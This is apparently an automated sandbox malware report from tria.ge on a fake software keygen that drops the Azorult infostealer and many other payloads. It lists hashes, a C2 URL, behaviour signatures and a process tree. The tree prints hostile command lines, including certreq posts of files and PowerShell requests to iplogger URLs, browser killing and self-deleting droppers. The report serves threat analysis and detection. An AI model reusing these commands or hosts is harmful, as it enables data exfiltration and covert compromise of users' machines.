Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

06/04/2021, 13:50

210406-gc51ndzsc2 10

26/03/2021, 23:40

210326-d1ybrjhevx 10

13/03/2021, 17:16

210313-8s7b52z63e 10

05/03/2021, 14:52

210305-34k3zj54f2 10

01/03/2021, 13:17

210301-naamxpgf4e 10

28/02/2021, 20:46

210228-6q3b959xae 10

28/02/2021, 20:15

210228-mbr268za12 10

28/02/2021, 18:32

210228-h944b5cpxa 10

28/02/2021, 15:10

210228-hnwwpyjy7j 10

Analysis

  • max time kernel
    61s
  • max time network
    60s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28/02/2021, 18:32

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Nirsoft 6 IoCs
  • Executes dropped EXE 23 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 53 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1520
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3584
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:3996
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:1112
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3100
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:4076
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2132
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:2288
            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              • Checks SCSI registry key(s)
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2096
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:3592
              • C:\Users\Admin\AppData\Roaming\1614540972327.exe
                "C:\Users\Admin\AppData\Roaming\1614540972327.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540972327.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3008
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:3468
              • C:\Users\Admin\AppData\Roaming\1614540977515.exe
                "C:\Users\Admin\AppData\Roaming\1614540977515.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540977515.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:4032
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:4688
              • C:\Users\Admin\AppData\Roaming\1614540983405.exe
                "C:\Users\Admin\AppData\Roaming\1614540983405.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540983405.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:4708
              • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                6⤵
                  PID:5344
              • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                5⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Writes to the Master Boot Record (MBR)
                • Checks SCSI registry key(s)
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2616
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  6⤵
                    PID:2696
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im chrome.exe
                      7⤵
                      • Kills process with taskkill
                      PID:3260
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                    6⤵
                      PID:3108
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 127.0.0.1 -n 3
                        7⤵
                        • Runs ping.exe
                        PID:732
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2136
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1 -n 3
                      6⤵
                      • Runs ping.exe
                      PID:3580
                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1156
                  • C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe
                    "C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                    5⤵
                    • Executes dropped EXE
                    • Drops file in Windows directory
                    PID:3728
                    • C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe
                      "C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe" 1 3.1614537163.603be1cb0d8c6 101
                      6⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      PID:3964
                      • C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe
                        "C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe" 2 3.1614537163.603be1cb0d8c6
                        7⤵
                        • Executes dropped EXE
                        • Checks for any installed AV software in registry
                        • Maps connected drives based on registry
                        • Enumerates system info in registry
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4164
                        • C:\Users\Admin\AppData\Local\Temp\jp4qu53js3j\safebits.exe
                          "C:\Users\Admin\AppData\Local\Temp\jp4qu53js3j\safebits.exe" /S /pubid=1 /subid=451
                          8⤵
                            PID:5068
                          • C:\Users\Admin\AppData\Local\Temp\dhg5ivml0a2\fv0urkbgqis.exe
                            "C:\Users\Admin\AppData\Local\Temp\dhg5ivml0a2\fv0urkbgqis.exe" /VERYSILENT
                            8⤵
                              PID:5056
                              • C:\Users\Admin\AppData\Local\Temp\is-4IHVG.tmp\fv0urkbgqis.tmp
                                "C:\Users\Admin\AppData\Local\Temp\is-4IHVG.tmp\fv0urkbgqis.tmp" /SL5="$100086,870426,780800,C:\Users\Admin\AppData\Local\Temp\dhg5ivml0a2\fv0urkbgqis.exe" /VERYSILENT
                                9⤵
                                  PID:1516
                              • C:\Users\Admin\AppData\Local\Temp\v5bhtzymx2y\vict.exe
                                "C:\Users\Admin\AppData\Local\Temp\v5bhtzymx2y\vict.exe" /VERYSILENT /id=535
                                8⤵
                                  PID:2320
                                  • C:\Users\Admin\AppData\Local\Temp\is-RC338.tmp\vict.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-RC338.tmp\vict.tmp" /SL5="$20234,870426,780800,C:\Users\Admin\AppData\Local\Temp\v5bhtzymx2y\vict.exe" /VERYSILENT /id=535
                                    9⤵
                                      PID:200
                                  • C:\Users\Admin\AppData\Local\Temp\xi3rwt1ku2r\bujeiq14epp.exe
                                    "C:\Users\Admin\AppData\Local\Temp\xi3rwt1ku2r\bujeiq14epp.exe" /ustwo INSTALL
                                    8⤵
                                      PID:4052
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 648
                                        9⤵
                                        • Program crash
                                        PID:5376
                                    • C:\Users\Admin\AppData\Local\Temp\0j2iuc11sor\app.exe
                                      "C:\Users\Admin\AppData\Local\Temp\0j2iuc11sor\app.exe" /8-23
                                      8⤵
                                        PID:4140
                                      • C:\Users\Admin\AppData\Local\Temp\thezzlf0job\setup_10.2_us3.exe
                                        "C:\Users\Admin\AppData\Local\Temp\thezzlf0job\setup_10.2_us3.exe" /silent
                                        8⤵
                                          PID:3760
                                          • C:\Users\Admin\AppData\Local\Temp\is-QANKJ.tmp\setup_10.2_us3.tmp
                                            "C:\Users\Admin\AppData\Local\Temp\is-QANKJ.tmp\setup_10.2_us3.tmp" /SL5="$10276,746887,121344,C:\Users\Admin\AppData\Local\Temp\thezzlf0job\setup_10.2_us3.exe" /silent
                                            9⤵
                                              PID:4976
                                              • C:\Program Files (x86)\DTS\seed.sfx.exe
                                                "C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s1
                                                10⤵
                                                  PID:4684
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "cmd.exe" /c "start https://iplogger.org/1Gusg7"
                                                  10⤵
                                                    PID:4704
                                              • C:\Users\Admin\AppData\Local\Temp\oipzbypu0wc\Setup3310.exe
                                                "C:\Users\Admin\AppData\Local\Temp\oipzbypu0wc\Setup3310.exe" /Verysilent /subid=577
                                                8⤵
                                                  PID:3592
                                                  • C:\Users\Admin\AppData\Local\Temp\is-FBJ9Q.tmp\Setup3310.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-FBJ9Q.tmp\Setup3310.tmp" /SL5="$30230,802346,56832,C:\Users\Admin\AppData\Local\Temp\oipzbypu0wc\Setup3310.exe" /Verysilent /subid=577
                                                    9⤵
                                                      PID:4440
                                                  • C:\Users\Admin\AppData\Local\Temp\yhh0wamwqh5\r2mrkxswhby.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\yhh0wamwqh5\r2mrkxswhby.exe" testparams
                                                    8⤵
                                                      PID:3604
                                                    • C:\Users\Admin\AppData\Local\Temp\zgnpk0yg1dc\chashepro3.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\zgnpk0yg1dc\chashepro3.exe" /VERYSILENT
                                                      8⤵
                                                        PID:4448
                                                        • C:\Users\Admin\AppData\Local\Temp\is-E7U9Q.tmp\chashepro3.tmp
                                                          "C:\Users\Admin\AppData\Local\Temp\is-E7U9Q.tmp\chashepro3.tmp" /SL5="$10334,3362400,58368,C:\Users\Admin\AppData\Local\Temp\zgnpk0yg1dc\chashepro3.exe" /VERYSILENT
                                                          9⤵
                                                            PID:4548
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"
                                                              10⤵
                                                                PID:4788
                                                              • C:\Program Files (x86)\JCleaner\ww.exe
                                                                "C:\Program Files (x86)\JCleaner\ww.exe"
                                                                10⤵
                                                                  PID:4100
                                                                • C:\Program Files (x86)\JCleaner\jayson.exe
                                                                  "C:\Program Files (x86)\JCleaner\jayson.exe"
                                                                  10⤵
                                                                    PID:3968
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
                                                                    10⤵
                                                                      PID:632
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "cmd.exe" /c "start https://iplogger.org/1aSny7"
                                                                      10⤵
                                                                        PID:5076
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                        10⤵
                                                                          PID:5064
                                                                          • C:\Windows\SysWOW64\certreq.exe
                                                                            certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                            11⤵
                                                                              PID:5204
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                            10⤵
                                                                              PID:5024
                                                                              • C:\Windows\SysWOW64\certreq.exe
                                                                                certreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                11⤵
                                                                                  PID:5196
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "cmd.exe" /c "start https://iplogger.org/1EaGq7"
                                                                                10⤵
                                                                                  PID:2584
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"
                                                                                  10⤵
                                                                                    PID:4968
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\2
                                                                                    10⤵
                                                                                      PID:4840
                                                                                      • C:\Windows\SysWOW64\certreq.exe
                                                                                        certreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
                                                                                        11⤵
                                                                                          PID:5184
                                                                                      • C:\Program Files (x86)\JCleaner\gl.exe
                                                                                        "C:\Program Files (x86)\JCleaner\gl.exe"
                                                                                        10⤵
                                                                                          PID:4796
                                                                                    • C:\Users\Admin\AppData\Local\Temp\nwshxehvcbe\vpn.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\nwshxehvcbe\vpn.exe" /silent /subid=482
                                                                                      8⤵
                                                                                        PID:4468
                                                                                      • C:\Users\Admin\AppData\Local\Temp\mbppagthiwx\t4ermlg2zdt.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\mbppagthiwx\t4ermlg2zdt.exe" 57a764d042bf8
                                                                                        8⤵
                                                                                          PID:2280
                                                                                        • C:\Users\Admin\AppData\Local\Temp\ekx4a3zzg22\IBInstaller_97039.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\ekx4a3zzg22\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                          8⤵
                                                                                            PID:4692
                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-LBDE2.tmp\IBInstaller_97039.tmp
                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-LBDE2.tmp\IBInstaller_97039.tmp" /SL5="$2034A,14464800,721408,C:\Users\Admin\AppData\Local\Temp\ekx4a3zzg22\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
                                                                                              9⤵
                                                                                                PID:4660
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  "cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
                                                                                                  10⤵
                                                                                                    PID:3444
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-I3KE6.tmp\{app}\chrome_proxy.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-I3KE6.tmp\{app}\chrome_proxy.exe"
                                                                                                    10⤵
                                                                                                      PID:492
                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          • Modifies data under HKEY_USERS
                                                                                          • Modifies system certificate store
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:3144
                                                                                          • C:\Users\Admin\AppData\Roaming\D92F.tmp.exe
                                                                                            "C:\Users\Admin\AppData\Roaming\D92F.tmp.exe"
                                                                                            5⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of SetThreadContext
                                                                                            PID:4024
                                                                                            • C:\Users\Admin\AppData\Roaming\D92F.tmp.exe
                                                                                              "C:\Users\Admin\AppData\Roaming\D92F.tmp.exe"
                                                                                              6⤵
                                                                                              • Executes dropped EXE
                                                                                              • Checks processor information in registry
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              PID:3096
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                                                                            5⤵
                                                                                              PID:4220
                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                ping 127.0.0.1
                                                                                                6⤵
                                                                                                • Runs ping.exe
                                                                                                PID:4312
                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            • Checks whether UAC is enabled
                                                                                            PID:4252
                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                                                                                            4⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:4628
                                                                                            • C:\ProgramData\7509833.82
                                                                                              "C:\ProgramData\7509833.82"
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4800
                                                                                            • C:\ProgramData\4469247.49
                                                                                              "C:\ProgramData\4469247.49"
                                                                                              5⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4832
                                                                                              • C:\ProgramData\Windows Host\Windows Host.exe
                                                                                                "C:\ProgramData\Windows Host\Windows Host.exe"
                                                                                                6⤵
                                                                                                  PID:4260
                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                                                                              4⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:4892
                                                                                      • C:\Windows\system32\msiexec.exe
                                                                                        C:\Windows\system32\msiexec.exe /V
                                                                                        1⤵
                                                                                        • Enumerates connected drives
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3232
                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding 2CA2220486E37C9A60F65C85C62E5EAC C
                                                                                          2⤵
                                                                                          • Loads dropped DLL
                                                                                          PID:2192
                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-4ME9P.tmp\vpn.tmp
                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-4ME9P.tmp\vpn.tmp" /SL5="$1033A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\nwshxehvcbe\vpn.exe" /silent /subid=482
                                                                                        1⤵
                                                                                          PID:4484
                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                          C:\Windows\system32\vssvc.exe
                                                                                          1⤵
                                                                                            PID:5232

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v6

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • memory/200-227-0x0000000000A00000-0x0000000000A01000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/412-35-0x0000000003010000-0x0000000003011000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/492-296-0x0000000000400000-0x0000000006F33000-memory.dmp

                                                                                            Filesize

                                                                                            107.2MB

                                                                                          • memory/492-294-0x0000000008D00000-0x000000000F833000-memory.dmp

                                                                                            Filesize

                                                                                            107.2MB

                                                                                          • memory/632-284-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/632-293-0x00000000045C0000-0x00000000045C1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/632-298-0x00000000045C2000-0x00000000045C3000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1156-49-0x0000000000540000-0x0000000000541000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/1156-47-0x00007FFD888B0000-0x00007FFD8929C000-memory.dmp

                                                                                            Filesize

                                                                                            9.9MB

                                                                                          • memory/1156-52-0x000000001B260000-0x000000001B262000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/1516-221-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/2096-40-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/2096-55-0x0000000003520000-0x00000000039CF000-memory.dmp

                                                                                            Filesize

                                                                                            4.7MB

                                                                                          • memory/2096-48-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                                            Filesize

                                                                                            3.2MB

                                                                                          • memory/2132-29-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                                            Filesize

                                                                                            3.2MB

                                                                                          • memory/2132-25-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/2280-191-0x00007FFD84A60000-0x00007FFD85400000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/2280-209-0x00000000018E0000-0x00000000018E2000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/2616-42-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/2616-56-0x00000000035D0000-0x0000000003A7F000-memory.dmp

                                                                                            Filesize

                                                                                            4.7MB

                                                                                          • memory/3008-83-0x0000000072AB0000-0x0000000072B43000-memory.dmp

                                                                                            Filesize

                                                                                            588KB

                                                                                          • memory/3096-96-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                                            Filesize

                                                                                            292KB

                                                                                          • memory/3096-92-0x0000000000400000-0x0000000000449000-memory.dmp

                                                                                            Filesize

                                                                                            292KB

                                                                                          • memory/3144-69-0x00000000003F0000-0x00000000003FD000-memory.dmp

                                                                                            Filesize

                                                                                            52KB

                                                                                          • memory/3144-87-0x0000000003740000-0x000000000378A000-memory.dmp

                                                                                            Filesize

                                                                                            296KB

                                                                                          • memory/3468-110-0x000001EAA9540000-0x000001EAA9541000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3468-102-0x00007FFD9FE50000-0x00007FFD9FECE000-memory.dmp

                                                                                            Filesize

                                                                                            504KB

                                                                                          • memory/3584-27-0x0000000002490000-0x000000000262C000-memory.dmp

                                                                                            Filesize

                                                                                            1.6MB

                                                                                          • memory/3592-68-0x0000019926C30000-0x0000019926C31000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3592-67-0x0000000010000000-0x0000000010057000-memory.dmp

                                                                                            Filesize

                                                                                            348KB

                                                                                          • memory/3592-65-0x00007FFD9FE50000-0x00007FFD9FECE000-memory.dmp

                                                                                            Filesize

                                                                                            504KB

                                                                                          • memory/3592-198-0x0000000000401000-0x000000000040B000-memory.dmp

                                                                                            Filesize

                                                                                            40KB

                                                                                          • memory/3604-190-0x00007FFD84A60000-0x00007FFD85400000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/3604-199-0x00000000025E0000-0x00000000025E2000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/3728-78-0x00007FFD84A60000-0x00007FFD85400000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/3728-79-0x0000000002700000-0x0000000002702000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/3964-106-0x00007FFD84A60000-0x00007FFD85400000-memory.dmp

                                                                                            Filesize

                                                                                            9.6MB

                                                                                          • memory/3964-108-0x0000000002F90000-0x0000000002F92000-memory.dmp

                                                                                            Filesize

                                                                                            8KB

                                                                                          • memory/3968-268-0x0000000005150000-0x0000000005151000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3968-270-0x0000000005B60000-0x0000000005B61000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3968-279-0x0000000005050000-0x0000000005051000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

                                                                                          • memory/3968-240-0x0000000071290000-0x000000007197E000-memory.dmp

                                                                                            Filesize

                                                                                            6.9MB

                                                                                          • memory/3968-250-0x00000000006F0000-0x00000000006F1000-memory.dmp

                                                                                            Filesize

                                                                                            4KB

